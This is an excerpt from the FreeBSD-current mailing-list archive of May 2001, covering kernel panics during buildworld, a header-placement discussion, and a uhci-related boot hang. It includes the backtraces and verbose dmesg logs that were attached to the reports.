something that's definitely broken.... Cheers, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 3:55:28 2001 Delivered-To: freebsd-current@freebsd.org Received: from freesbee.wheel.dk (freesbee.wheel.dk [193.162.159.97]) by hub.freebsd.org (Postfix) with ESMTP id D87B637B443 for ; Sat, 19 May 2001 03:55:25 -0700 (PDT) (envelope-from ncbp@bank-pedersen.dk) Received: by freesbee.wheel.dk (Postfix, from userid 1002) id 0D2425D5B; Sat, 19 May 2001 12:56:37 +0200 (CEST) Date: Sat, 19 May 2001 12:56:37 +0200 From: "Niels Chr. Bank-Pedersen" To: David Wolfskill Cc: current@freebsd.org Subject: Re: Panic during -CURRENT buildworld Message-ID: <20010519125636.A58191@bank-pedersen.dk> Mail-Followup-To: "Niels Chr. Bank-Pedersen" , David Wolfskill , current@freebsd.org References: <200105181748.f4IHmJS88409@bunrab.catwhisker.org> <200105190425.f4J4PxM89679@bunrab.catwhisker.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105190425.f4J4PxM89679@bunrab.catwhisker.org>; from david@catwhisker.org on Fri, May 18, 2001 at 09:25:59PM -0700 X-PGP-Fingerprint: 18D0 73F3 767F 3A40 CEBA C595 4783 D7F5 5DD1 FB8C X-PGP-Public-Key: http://freesbee.wheel.dk/~ncbp/gpgkey.pub Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, May 18, 2001 at 09:25:59PM -0700, David Wolfskill wrote: > > I haven't seen anyone else reporting any problems similar to what I > experienced, so I'm not about to claim there's something that's > definitely broken.... I have seen exactly the same - the machine (IBM thinkpad T21) freezes during buildworld (or it appears to, but as you said, it's hard to say if it panic'ed when you run X). This problem appear to have been introduced sometime within the last 3-4 days. Only reason I've been silent is that I still haven't had the time to get a trace. > david Cheers, /Niels Chr. -- Niels Christian Bank-Pedersen, NCB1-RIPE. Network Manager, TDC, IP-section. "Hey, are any of you guys out there actually *using* RFC 2549?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 7: 5:58 2001 Delivered-To: freebsd-current@freebsd.org Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1]) by hub.freebsd.org (Postfix) with ESMTP id 875CA37B422 for ; Sat, 19 May 2001 07:05:34 -0700 (PDT) (envelope-from rb@gid.co.uk) Received: (from uucp@localhost) by isbalham.ist.co.uk (8.11.1/8.11.1) with UUCP id f4JE5RE15847 for current@freebsd.org; Sat, 19 May 2001 15:05:27 +0100 (BST) (envelope-from rb@gid.co.uk) Received: from [194.32.164.2] (eccles [194.32.164.2]) by seagoon.gid.co.uk (8.9.3/8.9.3) with ESMTP id OAA11304 for ; Sat, 19 May 2001 14:53:58 +0100 (BST) (envelope-from rb@gid.co.uk) X-Sender: rb@194.32.164.1 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 19 May 2001 14:53:57 +0100 To: current@freebsd.org From: Bob Bishop Subject: panic: workitem_free: still on list Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, This happened during a buildworld with a kernel built from: cvsup Fri May 18 04:06:02 BST 2001 On reboot, I got the manual fsck jive with the "bad superblock: values disagree ,,with,, first alternate", and had to re-enable softupdates on / Config is basically GENERIC + SMP. dmesg is appended. Abridged backtrace: panic() workitem_free() free_newdirblk() handle_written_inodeblock() softdep_disk_write_complete() bufdone() bufdonebio() dadone() camisr() ithread_loop() fork_exit() fork_trampoline() dmesg: FreeBSD 5.0-CURRENT #20: Wed May 16 00:24:36 BST 2001 rb@bludnok.gid.co.uk:/source/cleansrc/sys/compile/BLUDNOK_MP Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Pentium II Xeon/Celeron (349.07-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x651 Stepping = 1 Features=0x183fbff real memory = 134152192 (131008K bytes) config> enable ed0 config> port ed0 0x300 config> irq ed0 10 config> iomem ed0 0xd8000 config> flags ed0 0 config> disable cs0 config> disable fe0 config> disable ie0 config> disable lnc0 config> disable sn0 config> quit avail memory = 124653568 (121732K bytes) Programming 24 pins in IOAPIC #0 IOAPIC #0 intpin 2 -> irq 0 FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs cpu0 (BSP): apic id: 0, version: 0x00040011, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00040011, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Preloaded elf kernel "kernel" at 0xc05bb000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc05bb09c. Pentium Pro MTRR support enabled WARNING: Driver mistake: destroy_dev on 154/0 Using $PIR table, 7 entries at 0xc00fda90 npx0: on motherboard npx0: INT 16 interface pcib0: at pcibus 0 on motherboard IOAPIC #0 intpin 16 -> irq 2 IOAPIC #0 intpin 19 -> irq 16 pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xf000-0xf00f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0xe000-0xe01f irq 11 at de vice 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered Timecounter "PIIX" frequency 3579545 Hz pci0: at 7.3 (no driver attached) ahc0: port 0xe400-0xe4ff mem 0xea000000-0xea00 0fff irq 2 at device 8.0 on pci0 aic7880: Wide Channel A, SCSI Id=7, 16/255 SCBs pci0: at 11.0 (no driver attached) atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 ed0 at port 0x300-0x31f iomem 0xd8000 irq 10 drq 0 on isa0 ed0: address 00:20:18:72:97:67, type NE2000 (16 bit) fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 pmtimer0 on isa0 ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources APIC_IO: Testing 8254 interrupt delivery APIC_IO: routing 8254 via IOAPIC #0 intpin 2 ad0: 1222MB [2484/16/63] at ata0-master WDMA2 Waiting 15 seconds for SCSI devices to settle Mounting root from ufs:/dev/ad0s2a cd0 at ahc0 bus 0 target 6 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 10.000MB/s transfers (10.000MHz, offset 8) cd0: Attempt to query device size failed: NOT READY, Medium not present da1 at ahc0 bus 0 target 5 lun 0 da1: Removable Direct Access SCSI-2 device da1: 3.300MB/s transfers da1: Attempt to query device size failed: NOT READY, Medium not present da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-3 device da0: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled da0: 8748MB (17916240 512 byte sectors: 255H 63S/T 1115C) SMP: AP CPU #1 Launched! -- Bob Bishop (0118) 977 4017 international code +44 118 rb@gid.co.uk fax (0118) 989 4254 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 8:59:21 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 2921537B422; Sat, 19 May 2001 08:59:14 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id BAA15690; Sun, 20 May 2001 01:59:10 +1000 Date: Sun, 20 May 2001 01:57:45 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Ruslan Ermilov Cc: Brian Somers , Warner Losh , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) In-Reply-To: <20010518175335.A90576@sunbay.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 18 May 2001, Ruslan Ermilov wrote: > > sbin/mount_null/Makefile > > sbin/mount_portal/Makefile > > sbin/mount_umap/Makefile > > sbin/mount_union/Makefile > > > FS headers should go into /usr/include/fs/fs.h, one per > each filesystem. without a slash? This isn't so clear. Lots of headers may be needed for _fsck. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 9:43: 6 2001 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 9F98E37B424 for ; Sat, 19 May 2001 09:43:03 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.1) with ESMTP id f4JGh0027135; Sat, 19 May 2001 09:43:00 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.3/8.11.0) id f4JGgx797893; Sat, 19 May 2001 09:42:59 -0700 (PDT) (envelope-from jdp) Date: Sat, 19 May 2001 09:42:59 -0700 (PDT) Message-Id: <200105191642.f4JGgx797893@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: imp@harmony.village.org Subject: Re: GENERIC kernel hangs at boot (uhci-related) In-Reply-To: <200105180404.f4I44bE07665@harmony.village.org> References: <200105180404.f4I44bE07665@harmony.village.org> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <200105180404.f4I44bE07665@harmony.village.org>, Warner Losh wrote: > In message John Polstra writes: > : When booting GENERIC, the kernel probes most (all?) of the devices and > : gets to the point where it says, "Waiting 15 seconds for SCSI devices > : to settle." At that point it hangs solid. Keystrokes aren't echoed; > : scroll-lock doesn't work; CTRL-ALT-ESC does nothing. > > Hmmm. Do you have the ability to generate a NMI? Yes, luckily I have a full box of ACCO No. 1 NMI Injection Devices ("holds up to 12 sheets!") in the middle drawer of my desk, and an empty ISA slot in which to use them. I'll see what I can find out this weekend. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Ch�gyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 11:23:29 2001 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id A712D37B422 for ; Sat, 19 May 2001 11:22:59 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.1) with ESMTP id f4JIMl027589; Sat, 19 May 2001 11:22:47 -0700 (PDT) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_=XFMail.1.3.p0.FreeBSD:010519112246:306=_" In-Reply-To: <200105180404.f4I44bE07665@harmony.village.org> Date: Sat, 19 May 2001 11:22:46 -0700 (PDT) Organization: Polstra & Co., Inc. From: John Polstra To: Warner Losh Subject: Re: GENERIC kernel hangs at boot (uhci-related) Cc: current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.3.p0.FreeBSD:010519112246:306=_ Content-Type: text/plain; charset=us-ascii I have some more information about this now. There is a BIOS knob "USB IRQ" which can be set to Disabled or Enabled. If it is Disabled, the hangs occur as I described. If it is Enabled, everything works fine. I think it ought to boot in either case (-4.x does). I am not actually using the USB ports, so it seems silly to tie up an interrupt for them. PNP OS is set to "no" in the BIOS, by the way. I hooked up a serial console and grabbed the verbose boot messages from both cases. They are attached. "dmesg.bad" is from the case that hangs, and "dmesg.good" is from the case that doesn't. Do a diff between the two and you'll see a few interrupt-related things that look interesting. The kernel config file "TEST" is attached also, though apparently all that matters is that device uhci is configured in. I have a strong suspicion that backing out "sys/pci/uhci_pci.c" revision 1.32 will make this problem go away. I'll test that next. Does this help sufficiently, or do I still need to dig into it with DDB and the golden paper clip? John --_=XFMail.1.3.p0.FreeBSD:010519112246:306=_ Content-Disposition: attachment; filename="dmesg.bad" Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii; name=dmesg.bad; SizeOnDisk=13731 SMAP type=01 base=00000000 00000000 len=00000000 0009fc00 SMAP type=02 base=00000000 0009fc00 len=00000000 00000400 SMAP type=02 base=00000000 000f0000 len=00000000 00010000 SMAP type=01 base=00000000 00100000 len=00000000 07efd000 SMAP type=03 base=00000000 07ffd000 len=00000000 00002000 SMAP type=04 base=00000000 07fff000 len=00000000 00001000 SMAP type=02 base=00000000 ffff0000 len=00000000 00010000 Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #1: Sat May 19 10:13:15 PDT 2001 jdp@blake.polstra.com:/a/home/jdp/checkouts/sys/compile/TEST Calibrating clock(s) ... TSC clock: 400901111 Hz, i8254 clock: 1193158 Hz Timecounter "i8254" frequency 1193158 Hz Timecounter "TSC" frequency 400901111 Hz CPU: Pentium II/Pentium II Xeon/Celeron (400.90-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x653 Stepping = 3 Features=0x183f9ff real memory = 134205440 (131060K bytes) Physical memory chunk(s): 0x00001000 - 0x0009efff, 647168 bytes (158 pages) 0x00405000 - 0x07ff4fff, 129957888 bytes (31728 pages) avail memory = 126656512 (123688K bytes) bios32: Found BIOS32 Service Directory header at 0xc00f9ce0 bios32: Entry = 0xf0520 (c00f0520) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0xf0000+0x720 pnpbios: Found PnP BIOS data at 0xc00fd190 pnpbios: Entry = f0000:d1c0 Rev = 1.0 pnpbios: OEM ID cd041 Other BIOS signatures found: Preloaded elf kernel "kernel.test" at 0xc03df000. null: random: mem: Pentium Pro MTRR support enabled Using $PIR table, 7 entries at 0xc00f0d10 npx0: on motherboard npx0: INT 16 interface pcib0: at pcibus 0 on motherboard pci0: physical bus=0 map[10]: type 3, range 32, base e4000000, size 26, enabled found-> vendor=0x8086, dev=0x7190, revid=0x03 bus=0, slot=0, func=0 class=06-00-00, hdrtype=0x00, mfdev=0 found-> vendor=0x8086, dev=0x7191, revid=0x03 bus=0, slot=1, func=0 class=06-04-00, hdrtype=0x01, mfdev=0 found-> vendor=0x8086, dev=0x7110, revid=0x02 bus=0, slot=4, func=0 class=06-01-00, hdrtype=0x00, mfdev=1 map[20]: type 4, range 32, base 0000d800, size 4, enabled found-> vendor=0x8086, dev=0x7111, revid=0x01 bus=0, slot=4, func=1 class=01-01-80, hdrtype=0x00, mfdev=0 map[20]: type 4, range 32, base 0000d400, size 5, enabled found-> vendor=0x8086, dev=0x7112, revid=0x01 bus=0, slot=4, func=2 class=0c-03-00, hdrtype=0x00, mfdev=0 intpin=d, irq=255 map[90]: type 4, range 32, base 0000e800, size 4, enabled found-> vendor=0x8086, dev=0x7113, revid=0x02 bus=0, slot=4, func=3 class=06-80-00, hdrtype=0x00, mfdev=0 map[10]: type 4, range 32, base 0000d000, size 8, enabled map[14]: type 1, range 64, base e0000000, size 12, enabled found-> vendor=0x9005, dev=0x001f, revid=0x00 bus=0, slot=6, func=0 class=01-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=5 powerspec 1 supports D0 D3 current D0 map[10]: type 1, range 32, base df800000, size 12, enabled map[14]: type 4, range 32, base 0000b800, size 6, enabled map[18]: type 1, range 32, base df000000, size 20, enabled found-> vendor=0x8086, dev=0x1229, revid=0x08 bus=0, slot=10, func=0 class=02-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=10 powerspec 2 supports D0 D1 D2 D3 current D0 pci0: on pcib0 pcib1: at device 1.0 on pci0 pcib1: secondary bus 1 pcib1: subordinate bus 1 pcib1: I/O decode 0xe000-0xdfff pcib1: memory decode 0xe0800000-0xe1cfffff pcib1: prefetched decode 0xe1f00000-0xe3ffffff pci1: physical bus=1 map[10]: type 3, range 32, base e2000000, size 25, enabled map[14]: type 1, range 32, base e1000000, size 14, enabled map[18]: type 1, range 32, base e0800000, size 23, enabled found-> vendor=0x102b, dev=0x0525, revid=0x04 bus=1, slot=0, func=0 class=03-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=11 powerspec 2 supports D0 D3 current D0 pci1: on pcib1 pci1: at 0.0 (no driver attached) isab0: at device 4.0 on pci0 isa0: on isab0 pci0: at 4.1 (no driver attached) uhci0: port 0xd400-0xd41f at device 4. 2 on pci0 pci_cfgintr_search: linked (63) to configured irq 10 at 0:10:0 pci_cfgintr: 0:4 INTD routed to irq 10 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered intpm0: port 0xe800-0xe80f irq 9 at device 4.3 on pci0 intpm0: I/O mapped e800 intpm0: intr IRQ 9 enabled revision 0 smbus0: on intsmb0 smb0: on smbus0 intpm0: PM I/O mapped e400 ahc0: port 0xd000-0xd0ff mem 0xe0000000 -0xe0000fff irq 5 at device 6.0 on pci0 ahc0: Reading SEEPROM...done. ahc0: Manual LVD Termination ahc0: BIOS eeprom is present ahc0: Secondary High byte termination Enabled ahc0: Secondary Low byte termination Enabled ahc0: Primary Low Byte termination Enabled ahc0: Primary High Byte termination Enabled ahc0: Downloading Sequencer Program... 422 instructions downloaded aic7890/91: Ultra2 Wide Channel A, SCSI Id=7, 32/255 SCBs fxp0: port 0xb800-0xb83f mem 0xdf000000-0xdf0f ffff,0xdf800000-0xdf800fff irq 10 at device 10.0 on pci0 fxp0: using memory space register mapping fxp0: Ethernet address 00:90:27:a6:6e:ca fxp0: PCI IDs: 8086 1229 8086 000c fxp0: Chip Type: 0 inphy0: on miibus0 inphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto bpf: fxp0 attached Trying Read_Port at 203 Trying Read_Port at 243 Trying Read_Port at 283 Trying Read_Port at 2c3 Trying Read_Port at 303 Trying Read_Port at 343 Trying Read_Port at 383 Trying Read_Port at 3c3 pnpbios: 15 devices, largest 114 bytes PNP0400: adding irq mask 0x80 PNP0400: adding io range 0x378-0x37f, size=0x8, align=0 PNP0400: adding io range 0x778-0x77f, size=0x8, align=0 PNP0400: end config pnpbios: handle 0 device ID PNP0400 (0004d041) PNP0501: adding irq mask 0x10 PNP0501: adding io range 0x3f8-0x3ff, size=0x8, align=0 PNP0501: end config pnpbios: handle 2 device ID PNP0501 (0105d041) PNP0501: adding irq mask 0x8 PNP0501: adding io range 0x2f8-0x2ff, size=0x8, align=0 PNP0501: end config pnpbios: handle 3 device ID PNP0501 (0105d041) PNP0700: adding irq mask 0x40 PNP0700: adding dma mask 0x4 PNP0700: adding io range 0x3f2-0x3f5, size=0x4, align=0 PNP0700: end config pnpbios: handle 4 device ID PNP0700 (0007d041) PNP0f13: adding irq mask 0x1000 PNP0f13: end config pnpbios: handle 5 device ID PNP0f13 (130fd041) PNP0c01: adding fixed memory32 range 0-0x9ffff, size=0xa0000 PNP0c01: adding fixed memory32 range 0x100000-0x7ffffff, size=0x7f00000 PNP0c01: adding fixed memory32 range 0xe8000-0xeffff, size=0x8000 PNP0c01: adding fixed memory32 range 0xf0000-0xf3fff, size=0x4000 PNP0c01: adding fixed memory32 range 0xf4000-0xf7fff, size=0x4000 PNP0c01: adding fixed memory32 range 0xf8000-0xfffff, size=0x8000 PNP0c01: adding fixed memory32 range 0xd1000-0xd3fff, size=0x3000 PNP0c01: adding fixed memory32 range 0xfffe0000-0xffffffff, size=0x20000 PNP0c01: end config pnpbios: handle 6 device ID PNP0c01 (010cd041) PNP0000: adding irq mask 0x4 PNP0000: adding io range 0x20-0x21, size=0x2, align=0 PNP0000: adding io range 0xa0-0xa1, size=0x2, align=0 PNP0000: adding io range 0x4d0-0x4d1, size=0x2, align=0 PNP0000: end config pnpbios: handle 7 device ID PNP0000 (0000d041) PNP0100: adding irq mask 0x1 PNP0100: adding io range 0x40-0x43, size=0x4, align=0 PNP0100: end config pnpbios: handle 8 device ID PNP0100 (0001d041) PNP0b00: adding irq mask 0x100 PNP0b00: adding io range 0x70-0x71, size=0x2, align=0 PNP0b00: end config pnpbios: handle 9 device ID PNP0b00 (000bd041) PNP0303: adding irq mask 0x2 PNP0303: adding io range 0x60-0x60, size=0x1, align=0 PNP0303: adding io range 0x64-0x64, size=0x1, align=0 PNP0303: end config pnpbios: handle 10 device ID PNP0303 (0303d041) PNP0c04: adding irq mask 0x2000 PNP0c04: adding io range 0xf0-0xf0, size=0x1, align=0 PNP0c04: end config pnpbios: handle 11 device ID PNP0c04 (040cd041) PNP0200: adding dma mask 0x10 PNP0200: adding io range 0-0xf, size=0x10, align=0 PNP0200: adding io range 0x80-0x90, size=0x11, align=0 PNP0200: adding io range 0x94-0x9f, size=0xc, align=0 PNP0200: adding io range 0xc0-0xde, size=0x1f, align=0 PNP0200: end config pnpbios: handle 12 device ID PNP0200 (0002d041) PNP0800: adding io range 0x61-0x61, size=0x1, align=0x1 PNP0800: end config pnpbios: handle 13 device ID PNP0800 (0008d041) PNP0a03: adding io range 0xcf8-0xcff, size=0x8, align=0 PNP0a03: end config pnpbios: handle 14 device ID PNP0a03 (030ad041) PNP0c02: adding io range 0x290-0x297, size=0x8, align=0 PNP0c02: adding io range 0xe400-0xe43f, size=0x40, align=0 PNP0c02: adding io range 0xe800-0xe83f, size=0x40, align=0 PNP0c02: end config pnpbios: handle 15 device ID PNP0c02 (020cd041) sc-: sc0 already exists, using sc1 instead vga-: vga0 already exists, using vga1 instead isa_probe_children: disabling PnP devices isa_probe_children: probing non-PnP devices adv0 failed to probe on isa0 aha0 failed to probe on isa0 aic0 failed to probe on isa0 ata0 failed to probe at port 0x1f0 irq 14 on isa0 ata1 failed to probe at port 0x170 irq 15 on isa0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 atkbd: the current kbd controller command byte 0047 atkbd: keyboard ID 0x41ab (2) kbdc: RESET_KBD return code:00fa kbdc: RESET_KBD status:00aa kbd0: atkbd0, AT 101/102 (2), config:0x1, flags:0x1d0000 psm0: current command byte:0047 kbdc: TEST_AUX_PORT status:0000 kbdc: RESET_AUX return code:00fa kbdc: RESET_AUX status:00aa kbdc: RESET_AUX ID:0000 psm: status 00 02 64 psm: status 00 00 64 psm: status 00 03 64 psm: status 00 03 64 psm: data 08 00 00 psm: status 10 00 64 psm: status 00 02 64 psm: data 08 00 00 psm: status 00 02 64 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0-00, 2 buttons psm0: config:00000000, flags:00000000, packet size:3 psm0: syncmask:c0, syncbits:00 bt0 failed to probe on isa0 cs0 failed to probe at port 0x300 on isa0 ed0 failed to probe at port 0x280 iomem 0xd8000 irq 10 on isa0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 fe0 failed to probe at port 0x300 on isa0 ie0 failed to probe at port 0x300 iomem 0xd0000 irq 10 on isa0 le0 failed to probe at port 0x300 iomem 0xd0000 irq 5 on isa0 lnc0 failed to probe at port 0x280 irq 10 drq 0 on isa0 pcic0 failed to probe at port 0x3e0 iomem 0xd0000 on isa0 pcic1: not probed (disabled) pcm0 failed to probe at irq 10 drq 1 on isa0 pmtimer0 failed to probe on isa0 ppc0 failed to probe at irq 7 on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x100> sc0: fb0, kbd0, terminal emulator: sc (syscons terminal) sio0: irq maps: 0x61 0x71 0x61 0x61 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A, console sio1: irq maps: 0x61 0x69 0x61 0x61 sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A sio2: not probed (disabled) sio3: not probed (disabled) sn0 failed to probe at port 0x300 irq 10 on isa0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 fb0: vga0, vga, type:VGA (5), flags:0x7007f fb0: port:0x3c0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000 fb0: init mode:24, bios mode:3, current mode:24 fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k VGA parameters upon power-up 50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff VGA parameters in BIOS for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff EGA/VGA parameters to be used for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff vt0 failed to probe on isa0 sc1: no video adapter is found. sc1: failed to probe on isa0 vga1: failed to probe on isa0 isa_probe_children: probing PnP devices unknown: failed to probe at port 0x378-0x37f,0x778-0x77f irq 7 on isa0 unknown: can't assign resources unknown: at port 0x3f8-0x3ff on isa0 unknown: can't assign resources unknown: at port 0x2f8-0x2ff on isa0 unknown: can't assign resources unknown: at port 0x3f2-0x3f5 on isa0 unknown: can't assign resources unknown: at irq 12 on isa0 unknown: can't assign resources unknown: at port 0x60 on isa0 unknown: failed to probe at port 0x61 on isa0 BIOS Geometries: 0:03fefe3f 0..1022=1023 cylinders, 0..254=255 heads, 1..63=63 sectors 1:022afe3f 0..554=555 cylinders, 0..254=255 heads, 1..63=63 sectors 0 accounted for Device configuration finished. bpf: lo0 attached IPsec: Initialized Security Association Processing. Waiting 2 seconds for SCSI devices to settle (noperiph:ahc0:0:-1:-1): SCSI bus reset delivered. 0 SCBs aborted. --_=XFMail.1.3.p0.FreeBSD:010519112246:306=_ Content-Disposition: attachment; filename="dmesg.good" Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii; name=dmesg.good; SizeOnDisk=16987 SMAP type=01 base=00000000 00000000 len=00000000 0009fc00 SMAP type=02 base=00000000 0009fc00 len=00000000 00000400 SMAP type=02 base=00000000 000f0000 len=00000000 00010000 SMAP type=01 base=00000000 00100000 len=00000000 07efd000 SMAP type=03 base=00000000 07ffd000 len=00000000 00002000 SMAP type=04 base=00000000 07fff000 len=00000000 00001000 SMAP type=02 base=00000000 ffff0000 len=00000000 00010000 Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #1: Sat May 19 10:13:15 PDT 2001 jdp@blake.polstra.com:/a/home/jdp/checkouts/sys/compile/TEST Calibrating clock(s) ... TSC clock: 400900487 Hz, i8254 clock: 1193156 Hz Timecounter "i8254" frequency 1193156 Hz Timecounter "TSC" frequency 400900487 Hz CPU: Pentium II/Pentium II Xeon/Celeron (400.90-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x653 Stepping = 3 Features=0x183f9ff real memory = 134205440 (131060K bytes) Physical memory chunk(s): 0x00001000 - 0x0009efff, 647168 bytes (158 pages) 